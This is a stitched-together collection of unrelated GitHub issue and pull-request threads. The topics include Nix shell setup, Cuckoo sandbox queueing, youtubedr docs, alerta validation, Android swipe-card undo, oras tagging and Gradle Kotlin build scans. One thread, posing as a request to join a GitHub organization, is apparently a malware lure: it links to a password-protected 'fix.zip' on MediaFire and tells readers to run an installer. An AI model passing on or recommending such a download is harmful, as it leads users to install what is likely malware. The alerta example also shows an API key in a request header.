Added a nix shell, useful for nix users. Doesn't affect any normal functionality.

npins init
tools required (node, pnpm etc.)
shellhook for playwright
skip downloading browsers if using nix (nix downloads playwright browsers)

I've tested this in Nixos like nix-shell then task and task test
todo

[x] test if it works outside nixos with just nix

abandoned.


Cuckoo always slow on last analyze

Hi all. I deployed 2 cuckoo emulator by config similar like this on virtualbox.conf :
"machines = XP-01,XP-02"
[XP-01]
....
[XP-02]
.....
Everything work ok but if i upload several sample at the same time (Use option "First Available" on web UI). The last sample alway execute quite longer than another. Anyone can give me advice for this?

They are executed one (or in your case two) at a time, so if you submit 10 tasks, the last analysis will only be ran after the earlier 8 or 9 have finished. Is that clear?

Thanks mr jbremer but in my case, after 9 tasks finish, task 10th alway slow

How long is it taking, compared to the other ones (based on the start and complete times)? Does it matter if you switch the order of the samples being analyzed (or is it always the same sample)? Is there any information in the logs or on the screen while Cuckoo is running to indicate what component/stage is taking the longest?

This ticket is very vague, the problem seems unrelated to the code and the conversation went inactive. Closing.


Update README.md

thanks for every contributors. youtubedr has more new features than before, and some document and information maybe out-of-date.  If anyone has time, maybe could review the README and test some command/steps.
Please feel free to create PR to update document or leave comments in this issue.

missing the mime type support

evaluation:  use go install instead of go get  to install youtube
referece: Go 1.16 release notes

go install, with or without a version suffix (as described above), is now the recommended way to build and install packages in module mode. go get should be used with the -d flag to adjust the current module's dependencies without building packages, and use of go get to build and install packages is deprecated. In a future release, the -d flag will always be enabled.

Updated it in #276 #276


Raise exception if timeout not an integer

$ http POST :8080/alert 'Authorization: Key 6IcDbBodwdLUSgez5wsNjEucMjoiBkAOatxJgQgL' status=unknown resource=r1 event=e4 environment=Development service:='["a","b"]' timeout=5
POST /alert HTTP/1.1
Accept: application/json
Accept-Encoding: gzip, deflate
Authorization:  Key 6IcDbBodwdLUSgez5wsNjEucMjoiBkAOatxJgQgL
Connection: keep-alive
Content-Length: 123
Content-Type: application/json
Host: localhost:8080
User-Agent: HTTPie/0.9.3

{
    "environment": "Development",
    "event": "e4",
    "resource": "r1",
    "service": [
        "a",
        "b"
    ],
    "status": "unknown",
    "timeout": "5"
}

HTTP/1.0 400 BAD REQUEST
Content-Length: 67
Content-Type: application/json
Date: Wed, 11 May 2016 09:30:32 GMT
Server: Werkzeug/0.10.4 Python/2.7.9

{
    "message": "Timeout must be an integer",
    "status": "error"
}

See guardian/alerta#195


We need Ban Command in this Plugin!

How to add a feature for admins bancommand please

PocketMine has implemented ban command


How can i undo last swipe record

I want to undo the last swipe item on CardExit and also want to add that undo item on top.
How can i do this?

Keep a reference to the last swiped item from onLeftCardExit/onRightCardExit, then add it back to the ArrayList with al.add(0, obj); then call arrayAdapter.notifyDataSetChanged();

rrayList with al.add(0, obj); then call arrayAdapter.notifyDataSetChanged();
This does not seem to work.

@herbig neither does it work for me. It adds again the second card after I swipe it. The first one I swiped & tried to undo will just be gone.

    if (mActiveCard != null && topCard != null && topCard == mActiveCard) {
            if (this.flingCardListener.isTouching()) {
                PointF lastPoint = this.flingCardListener.getLastPoint();
                if (this.mLastTouchPoint == null || !this.mLastTouchPoint.equals(lastPoint)) {
                    this.mLastTouchPoint = lastPoint;
                    removeViewsInLayout(0, LAST_OBJECT_IN_STACK);
                    layoutChildren(1, adapterCount);
                }
            }

//                else{
//                    removeAllViewsInLayout();
//                    layoutChildren(0, adapterCount);
//                    setTopView();
//                }
}
I add several lines in else,and it works,but I don't undertand well

Hello Guys, Is there any update for undo the last exit card? I wondering the same here.

Hello Guys, I want to undo last swipe view on click of button. It is urgent.
Thanks in advance.

@herbig was right about keeping a reference to the object you delete. When removeFirstObjectInAdapter() is called, you're supposed to call something like items.remove(0) where items is the collection of data objects for your stack of cards.
Haven't tried this, but this should work:

Add a field in your implementation of the OnFlingListener interface for the last-deleted object; let's call it lastDeleted
In removeFirstObjectInAdapter(), make sure you save the removed object: lastDeleted = items.remove(0);
When the undo button is clicked, call some method undoClick() in your implementation of OnFlingListener interface, and call items.add(lastDeleted, 0) in that, followed by adapter.notifyDataSetChanged()

So
	public class YourOnFlingAdapter implements SwipeFlingAdapter.onFlingListener {
		private List<Object> items;
		private Object lastDeleted = null; // You could replace Object with whatever you use in your collection

		@Override
		public void removeFirstObjectInAdapter() {
			lastDeleted = items.remove(0);
		}

		/* The rest of the interface methods, onLeftExit() etc */

		public void undoSwipe() {
			items.add(lastDeleted, 0);
			// Don't forget to clean up lastDeleted, you wouldn't want to add the element again
		}

@alexwalterbos Thanks for reply. I have tried this but when i add last removed in array list and call adapter.notifyDataSetChanged() it is not refreshing the view.
I have checked the updated array list, it contains the last removed item.

Can you check if the code where the view is generated is called? I'm not able to debug this myself right now, so I can't really check my proposed code.

@alexwalterbos Thanks. I have use below code for undo. it is working fine for me.
public void undoSwipe() {
items.add(lastDeleted, 0);
adapter.notifyDataSetChanged()
filingContainer.undo()
}
//Create below method in SwiprFillingAdapterView
public void undo(){
removeAllViewsInLayout();
layoutChildren(0, adapterCount);
setTopView()
}

Awesome, cool to hear that this works! You could propose it as a PR so everyone has access to it.


US8-T7: Set up a mongo DB data base for the movies

US8-T7: Set up a mongo DB data base for the movies. The data base should contain the movie title, the ratings and the users.
Use imbd-id apy to obtain the images on local for the database.
Estimated effort: 8

@samleodol this task is changes to connecting to the public API of TMDB (https://www.themoviedb.org/?language=es) . Write the code that connects to the API and then retrieve the name of the movies and the image of the movies. Store it in a json file that connects to the back end model


Please invite me to the GitHub Community Organization

Name
fairsky0201
Discord Username (if applicable)
fairsky0201
Additional Context
Hello, everyone!

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


oras should be able to tag the same digest with different tags

We've been experimenting with oras for a bit while and came across a rather unexpected behaviour. Specifically, oras cli does not seem to be able to tag the same [manifest] digest with different tags.
Example scenario: I want to push some content to a registry and tag it with a tag. Then I want to tag the same content with a different tag. The latter does not happen. My suspicion is on the RE-tag, oras does HEAD request on manifest digest but not on the tag -- it finds the digest exists and never follows up with the new tag.
Is there any specific reason for this behaviour? I can't think of any.
How to reproduce this:
Push some content to a registry:
$ oras milosgajdos/foo:1.2.3 foo.txt:application/vnd.unknown.layer.v1+txt
Uploading 63c2b3576834 foo.txt
Pushed milosgajdos/foo:1.2.3
Digest: sha256:6f2ee3eaa3f6fc53ce908fa95fe3e0efa49687b37872e27ad88bba8fd74fe3c1

Push a new tag for the same content:
$ oras milosgajdos/foo:4.5.6 foo.txt:application/vnd.unknown.layer.v1+txt
Exists    6f2ee3eaa3f6
Pushed milosgajdos/foo:4.5.6
Digest: sha256:6f2ee3eaa3f6fc53ce908fa95fe3e0efa49687b37872e27ad88bba8fd74fe3c1

The worst thing is, the oras on re-TAG (i.e. push with different tag) prints output that seems to suggest that the new tag has been pushed:
Pushed milosgajdos/foo:4.5.6

But that doesn't seem to be the case.

This issue should be opened on the ORAS CLI repo. /cc @qweeah
@milosgajdos Which oras CLI version are you using?

@milosgajdos
This is a known issue (https://github.com/oras-project/oras/issues/447 and https://github.com/oras-project/oras-go/issues/239) for 0.13.0. It has been fixed in the main branch but we haven't released a new version(0.14.0) yet.

Thanks for the heads up @qweeah . Can we keep this open until we verify 0.14.0 fixes the problem when it's released.


Implement Engine Interface Class to implement by Game and Editor

engine needs interface Game class, that later needs to be implemented by the game and sent to engine as game instance

Consider removing InitDependencies(), PreInit() in GameEngine Class

Done


feat: support tag filters in two langauges

improved multilingual toggle
new support of tag filtering in two languages

conflicts were manually resolved  - mostly spacing and comments


Temporarily remove Vox from space ninja

About the PR
Players with a Vox character selected will get a human space ninja instead
Why / Balance
Ghostrole spawns can't use loadouts yet and don't get the vox survival gear, causing them to die in 30 seconds
Media

[X] I have added screenshots/videos to this PR showcasing its changes ingame, or this PR does not require an ingame showcase

Changelog
:cl: Errant

tweak: Vox are temporarily removed from Space Ninjas until code supports giving them species-specific gear.

What happened to https://github.com/space-wizards/space-station-14/pull/29783#issue-2393748472

What happened to #29783 (comment)

Its in progress. It may or may not need some rework, after which it will then need another review. It was a mistake on my part that I did not make this PR immediately along with that one

Now including the Unknown Shuttle even ghostroles as well


Replace activity columns in Google Sheets with logic in index.html

In the Google Sheets document, we currently have one column per activity, in addition to the existing parks/trails/beaches information. The values in these columns are determined by a Google Sheets formula which uses input data from parks/trails/beaches.
We might as well remove these columns and code the formula logic into index.html.

Not doing this because some parts of sheetsee.js rely on the simplicity of activity columns, and changing them could cause performance issues. E.g., code below:
var e = document.getElementById("activityFilter");
var strUser = e.options[e.selectedIndex].value;
var dropdown = strUser.toLowerCase();
    if (strUser != "View All Parks") {
      if (object[dropdown] == "no") {
        does_match = false;
      }
    }


Support window and full-display capture

A couple things have to happen to support this:

[ ] Ensure image size is even
[ ] Copy only what's within the content size for each Direct3D11CaptureFrame
[ ] CLI to specify which window/display to capture

Mostly implemented as of 69fe64d1142e37f4319933c2f7e5b21f74b8a7d2


Ertel potential vorticity

Does anyone have a Python kernel to compute the Ertel PV in a Boussinesq fluid?
Q = [f \hat{\bm z} + \nabla \wedge {\bm v} ]  \cdot \nabla b
where
\nabla b = (g/\rho0)*(\alpha \nabla \theta - \beta \nabla S)

I recently wrote some online MOM5 code to produce a suite of Ertel PV diagnostics.  They are being tested as we speak.  The online code is preferred to anything that can be written offline.  I thus suggest this issue be closed, as it is not worth the time to produce these diagnostics offline.


added an example

added a walking wizard example

Awesome.  This should really use nextFrame() though.  If you add that and can squash the commits I can merge.

I can squash it if you don't know how, but still needs nextFrame() usage.

Why close?


Some low-hanging icon fruit.

Was trying to get into this again, got through some easy stuff. Want to push at least this before beta 2 >_>

Merging despite travis complaining.
One day we will fix it again. xD


--scan does not work when settings script is written in Kotlin

Expected Behavior
Same behavior as with a Groovy DSL based settings script.  Build scan should be created.
Current Behavior
Build scan is not created:

Build scan cannot be created because the Gradle Enterprise plugin was not applied.
For more information on how to apply the Gradle Enterprise plugin, please visit https://gradle.com/scans/help/gradle-cli.

Context
This is new in 6.0
Steps to Reproduce
gradle init
Choose 'basic' and 'kotlin' DSL.
gradle --scan help

Test is here: https://github.com/gradle/gradle/blob/412cfdace49a677346c0ee3e0cfd10d1d2f33374/subprojects/core/src/integTest/groovy/org/gradle/internal/scan/config/BuildScanAutoApplyKotlinIntegrationTest.groovy#L29
Currently trying to work out how the test is broken.

@bamboo @eskatos can I get your help here please. Seems that Kotlin settings scripts don't respect auto applied plugins. We had a test for this, but it was bugged and gave a false positive.
I had a look, but I couldn't find where we forked the path for Project vs Settings. I fixed the test on https://github.com/gradle/gradle/tree/ldaley/kotlin-settings-auto-applied-plugins (https://github.com/gradle/gradle/blob/828cb8e494741cfb8d3821d0f715e013da25dc64/subprojects/core/src/integTest/groovy/org/gradle/internal/scan/config/BuildScanAutoApplyKotlinIntegrationTest.groovy#L33).
Please point me in the direction of the change to make, or just push it directly to that branch. Thanks.

@ldaley fix pushed to the branch.